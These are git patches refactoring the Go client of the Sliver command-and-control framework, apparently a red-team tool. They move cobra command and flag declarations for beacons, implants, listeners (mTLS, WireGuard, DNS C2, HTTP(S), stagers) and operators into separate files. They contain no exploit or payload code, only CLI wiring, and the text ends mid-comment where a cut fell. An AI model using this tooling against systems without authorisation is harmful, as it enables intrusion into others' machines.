From 44ceccff12123e5e8afe832cd80c78facba4066a Mon Sep 17 00:00:00 2001 From: maxlandon Date: Wed, 7 Jun 2023 21:44:01 +0200 Subject: [PATCH 001/124] Fix some newlines printed or not --- client/command/generate/implants.go | 2 +- client/console/console.go | 3 +-- client/console/log.go | 2 +- 3 files changed, 3 insertions(+), 4 deletions(-) diff --git a/client/command/generate/implants.go b/client/command/generate/implants.go index 3cdc0afc5a..5553188b0a 100644 --- a/client/command/generate/implants.go +++ b/client/command/generate/implants.go @@ -120,7 +120,7 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl } con.Println(tw.Render()) - con.Println() + con.Println("\n") } // ImplantBuildNameCompleter - Completer for implant build names diff --git a/client/console/console.go b/client/console/console.go index 02f4923f31..fde4a37587 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -408,7 +408,7 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) { if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok { if con.Settings.BeaconAutoResults { if beacon != nil { - con.PrintEventSuccessf("%s completed task %s", beacon.Name, strings.Split(task.ID, "-")[0]) + con.PrintSuccessf("%s completed task %s", beacon.Name, strings.Split(task.ID, "-")[0]) } task_content, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ ID: task.ID, @@ -419,7 +419,6 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) { } else { con.PrintErrorf("Could not get beacon task content: %s", err) } - con.Println() } delete(con.BeaconTaskCallbacks, task.ID) } diff --git a/client/console/log.go b/client/console/log.go index 71807efac0..cb2d0d35c3 100644 --- a/client/console/log.go +++ b/client/console/log.go @@ -148,7 +148,7 @@ func (con *SliverConsoleClient) PrintAsyncResponse(resp *commonpb.Response) { con.PrintWarnf(err.Error()) return } - con.PrintInfof("Tasked beacon %s (%s)", beacon.Name, strings.Split(resp.TaskID, "-")[0]) + con.PrintInfof("Tasked beacon %s (%s)\n", beacon.Name, strings.Split(resp.TaskID, "-")[0]) } func (con *SliverConsoleClient) Printf(format string, args ...any) { From bce0c8de0617032885a5781bccee6e9459af2fbd Mon Sep 17 00:00:00 2001 From: maxlandon Date: Wed, 7 Jun 2023 22:24:19 +0200 Subject: [PATCH 002/124] Add a flags package, in which we store some command utility functions to bind flags, completions, apply command filters, etc. --- client/command/flags/flags.go | 71 +++++++++++++++++++++++++++++++++++ 1 file changed, 71 insertions(+) create mode 100644 client/command/flags/flags.go diff --git a/client/command/flags/flags.go b/client/command/flags/flags.go new file mode 100644 index 0000000000..7f55a0784d --- /dev/null +++ b/client/command/flags/flags.go @@ -0,0 +1,71 @@ +package flags + +import ( + "strings" + + "github.com/reeflective/console" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" +) + +// Bind is a convenience function to bind flags to a command, through newly created +// pflag.Flagset type. This function can be called any number of times for any command. +// desc - An optional name for the flag set (can be empty, but might end up useful). +// persistent - If true, the flags bound will apply to all subcommands of this command. +// cmd - The pointer to the command the flags should be bound to. +// flags - A function using this flag set as parameter, for you to register flags. +func Bind(desc string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) { + flagSet := pflag.NewFlagSet(desc, pflag.ContinueOnError) + flags(flagSet) + + if persistent { + cmd.PersistentFlags().AddFlagSet(flagSet) + } else { + cmd.Flags().AddFlagSet(flagSet) + } +} + +// RestrictTargets generates a cobra annotation map with a single console.CommandHiddenFilter key +// to a comma-separated list of filters to use in order to expose/hide commands based on requirements. +// Ex: cmd.Annotations = RestrictTargets("windows") will only show the command if the target is Windows. +// Ex: cmd.Annotations = RestrictTargets("windows", "beacon") show the command if target is a beacon on Windows. +func RestrictTargets(filters ...string) map[string]string { + if len(filters) == 0 { + return nil + } + + if len(filters) == 1 { + return map[string]string{ + console.CommandFilterKey: filters[0], + } + } + + filts := strings.Join(filters, ",") + + return map[string]string{ + console.CommandFilterKey: filts, + } +} + +// NewCompletions registers the command to the application completion engine and returns +// you a type through which you can register all sorts of completions for this command, +// from flag arguments, positional ones, per index or remaining, etc. +// +// See https://rsteube.github.io/carapace/ for a complete documentation of carapace completions. +func NewCompletions(cmd *cobra.Command) *carapace.Carapace { + return carapace.Gen(cmd) +} + +// BindFlagCompletions is a convenience function for binding completers to flags requiring arguments. +// (It wraps a few steps to be used through the *carapace.Carapace type so you don't have to bother). +// cmd - The target command/subcommand which flags to be completed. +// bind - A function using a map "flag-name":carapace.Action for you to bind completions to the flag. +// +// See https://rsteube.github.io/carapace/ for a complete documentation of carapace completions. +func BindFlagCompletions(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) { + comps := make(carapace.ActionMap) + bind(&comps) + + carapace.Gen(cmd).FlagCompletion(comps) +} From ec88f9bd02eda7d9348d7fe1b47e01bb3ad5330e Mon Sep 17 00:00:00 2001 From: maxlandon Date: Wed, 7 Jun 2023 23:00:29 +0200 Subject: [PATCH 003/124] Start splitting commands declarations --- client/cli/implant.go | 2 +- client/command/alias/commands.go | 62 ++++++++++ client/command/armory/commands.go | 69 +++++++++++ client/command/exit/exit.go | 13 +++ client/command/flags/flags.go | 4 + client/command/jobs/commands.go | 169 +++++++++++++++++++++++++++ client/command/operators/commands.go | 29 +++++ client/command/update/commands.go | 46 ++++++++ server/console/console.go | 8 +- 9 files changed, 397 insertions(+), 5 deletions(-) create mode 100644 client/command/alias/commands.go create mode 100644 client/command/armory/commands.go create mode 100644 client/command/jobs/commands.go create mode 100644 client/command/operators/commands.go create mode 100644 client/command/update/commands.go diff --git a/client/cli/implant.go b/client/cli/implant.go index 5c1251f79c..1f24db8ba8 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -67,7 +67,7 @@ func makeCompleters(cmd *cobra.Command, con *console.SliverConsoleClient) { }) // Bind completers to flags (wrap them to use the same pre-runners) - command.FlagComps(cmd, func(comp *carapace.ActionMap) { + command.BindFlagCompletions(cmd, func(comp *carapace.ActionMap) { (*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { cmd.PersistentPreRunE(cmd, c.Args) return use.SessionIDCompleter(con) diff --git a/client/command/alias/commands.go b/client/command/alias/commands.go new file mode 100644 index 0000000000..5b7bff8727 --- /dev/null +++ b/client/command/alias/commands.go @@ -0,0 +1,62 @@ +package alias + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `alias` command and its child commands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + aliasCmd := &cobra.Command{ + Use: consts.AliasesStr, + Short: "List current aliases", + Long: help.GetHelpFor([]string{consts.AliasesStr}), + Run: func(cmd *cobra.Command, args []string) { + AliasesCmd(cmd, con, args) + }, + GroupID: consts.GenericHelpGroup, + } + + aliasLoadCmd := &cobra.Command{ + Use: consts.LoadStr + " [ALIAS]", + Short: "Load a command alias", + Long: help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + AliasesLoadCmd(cmd, con, args) + }, + } + aliasCmd.AddCommand(aliasLoadCmd) + flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory")) + + aliasInstallCmd := &cobra.Command{ + Use: consts.InstallStr + " [ALIAS]", + Short: "Install a command alias", + Long: help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + AliasesInstallCmd(cmd, con, args) + }, + } + aliasCmd.AddCommand(aliasInstallCmd) + flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file")) + + aliasRemove := &cobra.Command{ + Use: consts.RmStr + " [ALIAS]", + Short: "Remove an alias", + Long: help.GetHelpFor([]string{consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + AliasesRemoveCmd(cmd, con, args) + }, + } + flags.NewCompletions(aliasRemove).PositionalCompletion(AliasCompleter()) + aliasCmd.AddCommand(aliasRemove) + + return []*cobra.Command{aliasCmd} +} diff --git a/client/command/armory/commands.go b/client/command/armory/commands.go new file mode 100644 index 0000000000..27e41c8735 --- /dev/null +++ b/client/command/armory/commands.go @@ -0,0 +1,69 @@ +package armory + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `armory` command and its subcommands. +func Commands(con *console.SliverConsoleClient) *cobra.Command { + armoryCmd := &cobra.Command{ + Use: consts.ArmoryStr, + Short: "Automatically download and install extensions/aliases", + Long: help.GetHelpFor([]string{consts.ArmoryStr}), + Run: func(cmd *cobra.Command, args []string) { + ArmoryCmd(cmd, con, args) + }, + GroupID: consts.GenericHelpGroup, + } + flags.Bind("connection", true, armoryCmd, func(f *pflag.FlagSet) { + f.BoolP("insecure", "I", false, "skip tls certificate validation") + f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)") + f.BoolP("ignore-cache", "c", false, "ignore metadata cache, force refresh") + f.StringP("timeout", "t", "15m", "download timeout") + }) + + armoryInstallCmd := &cobra.Command{ + Use: consts.InstallStr, + Short: "Install an alias or extension", + Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ArmoryInstallCmd(cmd, con, args) + }, + } + armoryCmd.AddCommand(armoryInstallCmd) + flags.NewCompletions(armoryInstallCmd).PositionalCompletion( + AliasExtensionOrBundleCompleter().Usage("name of the extension or alias to install"), + ) + + armoryUpdateCmd := &cobra.Command{ + Use: consts.UpdateStr, + Short: "Update installed an aliases and extensions", + Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}), + Run: func(cmd *cobra.Command, args []string) { + ArmoryUpdateCmd(cmd, con, args) + }, + } + armoryCmd.AddCommand(armoryUpdateCmd) + + armorySearchCmd := &cobra.Command{ + Use: consts.SearchStr, + Short: "Search for aliases and extensions by name (regex)", + Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ArmorySearchCmd(cmd, con, args) + }, + } + armoryCmd.AddCommand(armorySearchCmd) + flags.NewCompletions(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression")) + + return armoryCmd +} diff --git a/client/command/exit/exit.go b/client/command/exit/exit.go index b94e11ee33..951a25c4cb 100644 --- a/client/command/exit/exit.go +++ b/client/command/exit/exit.go @@ -25,6 +25,7 @@ import ( "github.com/AlecAivazis/survey/v2" "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/spf13/cobra" ) @@ -53,3 +54,15 @@ func ExitCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } os.Exit(0) } + +// Commands returns the `exit` command. +func Command(con *console.SliverConsoleClient) *cobra.Command { + return &cobra.Command{ + Use: "exit", + Short: "Exit the program", + Run: func(cmd *cobra.Command, args []string) { + ExitCmd(cmd, con, args) + }, + GroupID: constants.GenericHelpGroup, + } +} diff --git a/client/command/flags/flags.go b/client/command/flags/flags.go index 7f55a0784d..ea679082fe 100644 --- a/client/command/flags/flags.go +++ b/client/command/flags/flags.go @@ -9,6 +9,10 @@ import ( "github.com/spf13/pflag" ) +const ( + DefaultTimeout = 60 +) + // Bind is a convenience function to bind flags to a command, through newly created // pflag.Flagset type. This function can be called any number of times for any command. // desc - An optional name for the flag set (can be empty, but might end up useful). diff --git a/client/command/jobs/commands.go b/client/command/jobs/commands.go new file mode 100644 index 0000000000..d3564d2a2a --- /dev/null +++ b/client/command/jobs/commands.go @@ -0,0 +1,169 @@ +package jobs + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + // Job control + jobsCmd := &cobra.Command{ + Use: consts.JobsStr, + Short: "Job control", + Long: help.GetHelpFor([]string{consts.JobsStr}), + Run: func(cmd *cobra.Command, args []string) { + JobsCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("jobs", true, jobsCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("jobs", false, jobsCmd, func(f *pflag.FlagSet) { + f.Int32P("kill", "k", -1, "kill a background job") + f.BoolP("kill-all", "K", false, "kill all jobs") + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.BindFlagCompletions(jobsCmd, func(comp *carapace.ActionMap) { + (*comp)["kill"] = JobsIDCompleter(con) + }) + + // Mutual TLS + mtlsCmd := &cobra.Command{ + Use: consts.MtlsStr, + Short: "Start an mTLS listener", + Long: help.GetHelpFor([]string{consts.MtlsStr}), + Run: func(cmd *cobra.Command, args []string) { + MTLSListenerCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) { + f.StringP("lhost", "L", "", "interface to bind server to") + f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port") + f.BoolP("persistent", "p", false, "make persistent across restarts") + }) + + // Wireguard + wgCmd := &cobra.Command{ + Use: consts.WGStr, + Short: "Start a WireGuard listener", + Long: help.GetHelpFor([]string{consts.WGStr}), + Run: func(cmd *cobra.Command, args []string) { + WGListenerCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("WireGuard listener", false, wgCmd, func(f *pflag.FlagSet) { + f.StringP("lhost", "L", "", "interface to bind server to") + f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port") + f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port") + f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port") + f.BoolP("persistent", "p", false, "make persistent across restarts") + }) + + // DNS + dnsCmd := &cobra.Command{ + Use: consts.DnsStr, + Short: "Start a DNS listener", + Long: help.GetHelpFor([]string{consts.DnsStr}), + Run: func(cmd *cobra.Command, args []string) { + DNSListenerCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("DNS listener", false, dnsCmd, func(f *pflag.FlagSet) { + f.StringP("domains", "d", "", "parent domain(s) to use for DNS c2") + f.BoolP("no-canaries", "c", false, "disable dns canary detection") + f.StringP("lhost", "L", "", "interface to bind server to") + f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port") + f.BoolP("disable-otp", "D", false, "disable otp authentication") + f.BoolP("persistent", "p", false, "make persistent across restarts") + }) + + // HTTP + httpCmd := &cobra.Command{ + Use: consts.HttpStr, + Short: "Start an HTTP listener", + Long: help.GetHelpFor([]string{consts.HttpStr}), + Run: func(cmd *cobra.Command, args []string) { + HTTPListenerCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("HTTP listener", false, httpCmd, func(f *pflag.FlagSet) { + f.StringP("domain", "d", "", "limit responses to specific domain") + f.StringP("website", "w", "", "website name (see websites cmd)") + f.StringP("lhost", "L", "", "interface to bind server to") + f.Uint32P("lport", "l", generate.DefaultHTTPLPort, "tcp listen port") + f.BoolP("disable-otp", "D", false, "disable otp authentication") + f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout") + f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter") + f.BoolP("persistent", "p", false, "make persistent across restarts") + }) + + // HTTPS + httpsCmd := &cobra.Command{ + Use: consts.HttpsStr, + Short: "Start an HTTPS listener", + Long: help.GetHelpFor([]string{consts.HttpsStr}), + Run: func(cmd *cobra.Command, args []string) { + HTTPSListenerCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("HTTPS listener", false, httpsCmd, func(f *pflag.FlagSet) { + f.StringP("domain", "d", "", "limit responses to specific domain") + f.StringP("website", "w", "", "website name (see websites cmd)") + f.StringP("lhost", "L", "", "interface to bind server to") + f.Uint32P("lport", "l", generate.DefaultHTTPSLPort, "tcp listen port") + f.BoolP("disable-otp", "D", false, "disable otp authentication") + f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout") + f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter") + + f.StringP("cert", "c", "", "PEM encoded certificate file") + f.StringP("key", "k", "", "PEM encoded private key file") + f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate") + f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints") + + f.BoolP("persistent", "p", false, "make persistent across restarts") + }) + + // Staging listeners + stageCmd := &cobra.Command{ + Use: consts.StageListenerStr, + Short: "Start a stager listener", + Long: help.GetHelpFor([]string{consts.StageListenerStr}), + Run: func(cmd *cobra.Command, args []string) { + StageListenerCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("stage listener", false, stageCmd, func(f *pflag.FlagSet) { + f.StringP("profile", "p", "", "implant profile name to link with the listener") + f.StringP("url", "u", "", "URL to which the stager will call back to") + f.StringP("cert", "c", "", "path to PEM encoded certificate file (HTTPS only)") + f.StringP("key", "k", "", "path to PEM encoded private key file (HTTPS only)") + f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate (HTTPS only)") + f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key") + f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv") + f.StringP("compress", "C", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)") + f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)") + }) + flags.BindFlagCompletions(stageCmd, func(comp *carapace.ActionMap) { + (*comp)["profile"] = generate.ProfileNameCompleter(con) + (*comp)["cert"] = carapace.ActionFiles().Tag("certificate file") + (*comp)["key"] = carapace.ActionFiles().Tag("key file") + (*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats") + }) + + return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, httpCmd, httpsCmd, stageCmd} +} diff --git a/client/command/operators/commands.go b/client/command/operators/commands.go new file mode 100644 index 0000000000..03edb8b160 --- /dev/null +++ b/client/command/operators/commands.go @@ -0,0 +1,29 @@ +package operators + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) *cobra.Command { + operatorsCmd := &cobra.Command{ + Use: consts.OperatorsStr, + Short: "Manage operators", + Long: help.GetHelpFor([]string{consts.OperatorsStr}), + Run: func(cmd *cobra.Command, args []string) { + OperatorsCmd(cmd, con, args) + }, + GroupID: consts.GenericHelpGroup, + } + flags.Bind("operators", false, operatorsCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return operatorsCmd +} diff --git a/client/command/update/commands.go b/client/command/update/commands.go new file mode 100644 index 0000000000..251d2c41f3 --- /dev/null +++ b/client/command/update/commands.go @@ -0,0 +1,46 @@ +package update + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + updateCmd := &cobra.Command{ + Use: consts.UpdateStr, + Short: "Check for updates", + Long: help.GetHelpFor([]string{consts.UpdateStr}), + Run: func(cmd *cobra.Command, args []string) { + UpdateCmd(cmd, con, args) + }, + GroupID: consts.GenericHelpGroup, + } + flags.Bind("update", false, updateCmd, func(f *pflag.FlagSet) { + f.BoolP("prereleases", "P", false, "include pre-released (unstable) versions") + f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)") + f.StringP("save", "s", "", "save downloaded files to specific directory (default user home dir)") + f.BoolP("insecure", "I", false, "skip tls certificate validation") + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + versionCmd := &cobra.Command{ + Use: consts.VersionStr, + Short: "Display version information", + Long: help.GetHelpFor([]string{consts.VersionStr}), + Run: func(cmd *cobra.Command, args []string) { + VerboseVersionsCmd(cmd, con, args) + }, + GroupID: consts.GenericHelpGroup, + } + flags.Bind("update", false, versionCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{updateCmd, versionCmd} +} diff --git a/server/console/console.go b/server/console/console.go index 8bef5a82d9..92a5807c9a 100644 --- a/server/console/console.go +++ b/server/console/console.go @@ -78,7 +78,7 @@ func serverOnlyCmds() (commands []*cobra.Command) { Run: startMultiplayerModeCmd, GroupID: consts.MultiplayerHelpGroup, } - command.Flags("multiplayer", false, startMultiplayer, func(f *pflag.FlagSet) { + command.Bind("multiplayer", false, startMultiplayer, func(f *pflag.FlagSet) { f.StringP("lhost", "L", "", "interface to bind server to") f.Uint16P("lport", "l", 31337, "tcp listen port") f.BoolP("persistent", "p", false, "make persistent across restarts") @@ -93,13 +93,13 @@ func serverOnlyCmds() (commands []*cobra.Command) { Run: newOperatorCmd, GroupID: consts.MultiplayerHelpGroup, } - command.Flags("operator", false, newOperator, func(f *pflag.FlagSet) { + command.Bind("operator", false, newOperator, func(f *pflag.FlagSet) { f.StringP("lhost", "l", "", "listen host") f.Uint16P("lport", "p", 31337, "listen port") f.StringP("save", "s", "", "directory/file in which to save config") f.StringP("name", "n", "", "operator name") }) - command.FlagComps(newOperator, func(comp *carapace.ActionMap) { + command.BindFlagCompletions(newOperator, func(comp *carapace.ActionMap) { (*comp)["save"] = carapace.ActionDirectories() }) commands = append(commands, newOperator) @@ -112,7 +112,7 @@ func serverOnlyCmds() (commands []*cobra.Command) { GroupID: consts.MultiplayerHelpGroup, } - command.Flags("operator", false, kickOperator, func(f *pflag.FlagSet) { + command.Bind("operator", false, kickOperator, func(f *pflag.FlagSet) { f.StringP("name", "n", "", "operator name") }) commands = append(commands, kickOperator) From f370e96058aab0787796e9f9ff975a6ad1b855d5 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Tue, 20 Jun 2023 13:28:03 +0200 Subject: [PATCH 004/124] Finish splitting server commands in their files --- client/command/armory/commands.go | 4 +- client/command/beacons/commands.go | 75 + client/command/builders/commands.go | 29 + client/command/command.go | 74 +- client/command/crack/commands.go | 143 ++ client/command/creds/commands.go | 83 + client/command/exit/commands.go | 17 + client/command/exit/exit.go | 6 +- client/command/generate/commands.go | 352 ++++ client/command/hosts/commands.go | 59 + client/command/info/commands.go | 32 + client/command/licenses/commands.go | 25 + client/command/loot/commands.go | 116 ++ client/command/monitor/commands.go | 33 + client/command/operators/commands.go | 4 +- client/command/prelude-operator/commands.go | 45 + client/command/reaction/commands.go | 87 + client/command/server.go | 1725 +------------------ client/command/sessions/commands.go | 85 + client/command/settings/commands.go | 92 + client/command/shikata-ga-nai/commands.go | 40 + client/command/use/commands.go | 53 + client/command/websites/commands.go | 99 ++ client/command/wireguard/commands.go | 37 + client/console/console.go | 11 + 25 files changed, 1635 insertions(+), 1691 deletions(-) create mode 100644 client/command/beacons/commands.go create mode 100644 client/command/builders/commands.go create mode 100644 client/command/crack/commands.go create mode 100644 client/command/creds/commands.go create mode 100644 client/command/exit/commands.go create mode 100644 client/command/generate/commands.go create mode 100644 client/command/hosts/commands.go create mode 100644 client/command/info/commands.go create mode 100644 client/command/licenses/commands.go create mode 100644 client/command/loot/commands.go create mode 100644 client/command/monitor/commands.go create mode 100644 client/command/prelude-operator/commands.go create mode 100644 client/command/reaction/commands.go create mode 100644 client/command/sessions/commands.go create mode 100644 client/command/settings/commands.go create mode 100644 client/command/shikata-ga-nai/commands.go create mode 100644 client/command/use/commands.go create mode 100644 client/command/websites/commands.go create mode 100644 client/command/wireguard/commands.go diff --git a/client/command/armory/commands.go b/client/command/armory/commands.go index 27e41c8735..5e59ef2a44 100644 --- a/client/command/armory/commands.go +++ b/client/command/armory/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the `armory` command and its subcommands. -func Commands(con *console.SliverConsoleClient) *cobra.Command { +func Commands(con *console.SliverConsoleClient) []*cobra.Command { armoryCmd := &cobra.Command{ Use: consts.ArmoryStr, Short: "Automatically download and install extensions/aliases", @@ -65,5 +65,5 @@ func Commands(con *console.SliverConsoleClient) *cobra.Command { armoryCmd.AddCommand(armorySearchCmd) flags.NewCompletions(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression")) - return armoryCmd + return []*cobra.Command{armoryCmd} } diff --git a/client/command/beacons/commands.go b/client/command/beacons/commands.go new file mode 100644 index 0000000000..433e204f2d --- /dev/null +++ b/client/command/beacons/commands.go @@ -0,0 +1,75 @@ +package beacons + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/command/use" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + beaconsCmd := &cobra.Command{ + Use: consts.BeaconsStr, + Short: "Manage beacons", + Long: help.GetHelpFor([]string{consts.BeaconsStr}), + GroupID: consts.SliverHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + BeaconsCmd(cmd, con, args) + }, + } + flags.Bind("beacons", true, beaconsCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("beacons", false, beaconsCmd, func(f *pflag.FlagSet) { + f.StringP("kill", "k", "", "kill the designated beacon") + f.BoolP("kill-all", "K", false, "kill all beacons") + f.BoolP("force", "F", false, "force killing the beacon") + + f.StringP("filter", "f", "", "filter beacons by substring") + f.StringP("filter-re", "e", "", "filter beacons by regular expression") + }) + flags.BindFlagCompletions(beaconsCmd, func(comp *carapace.ActionMap) { + (*comp)["kill"] = use.BeaconIDCompleter(con) + }) + beaconsRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a beacon", + Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + BeaconsRmCmd(cmd, con, args) + }, + } + carapace.Gen(beaconsRmCmd).PositionalCompletion(use.BeaconIDCompleter(con)) + beaconsCmd.AddCommand(beaconsRmCmd) + + beaconsWatchCmd := &cobra.Command{ + Use: consts.WatchStr, + Short: "Watch your beacons", + Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.WatchStr}), + Run: func(cmd *cobra.Command, args []string) { + BeaconsWatchCmd(cmd, con, args) + }, + } + beaconsCmd.AddCommand(beaconsWatchCmd) + + beaconsPruneCmd := &cobra.Command{ + Use: consts.PruneStr, + Short: "Prune stale beacons automatically", + Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.PruneStr}), + Run: func(cmd *cobra.Command, args []string) { + BeaconsPruneCmd(cmd, con, args) + }, + } + flags.Bind("beacons", false, beaconsPruneCmd, func(f *pflag.FlagSet) { + f.StringP("duration", "d", "1h", "duration to prune beacons that have missed their last checkin") + }) + beaconsCmd.AddCommand(beaconsPruneCmd) + + return []*cobra.Command{beaconsCmd} +} diff --git a/client/command/builders/commands.go b/client/command/builders/commands.go new file mode 100644 index 0000000000..882cb50952 --- /dev/null +++ b/client/command/builders/commands.go @@ -0,0 +1,29 @@ +package builders + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + buildersCmd := &cobra.Command{ + Use: consts.BuildersStr, + Short: "List external builders", + Long: help.GetHelpFor([]string{consts.BuildersStr}), + Run: func(cmd *cobra.Command, args []string) { + BuildersCmd(cmd, con, args) + }, + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("builders", false, buildersCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{buildersCmd} +} diff --git a/client/command/command.go b/client/command/command.go index 840be14e43..9ba69ab42f 100644 --- a/client/command/command.go +++ b/client/command/command.go @@ -25,15 +25,17 @@ import ( "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" + + client "github.com/bishopfox/sliver/client/console" ) const defaultTimeout = 60 -// Flags is a convenience function to bind flags to a given command. +// Bind is a convenience function to bind flags to a given command. // name - The name of the flag set (can be empty). // cmd - 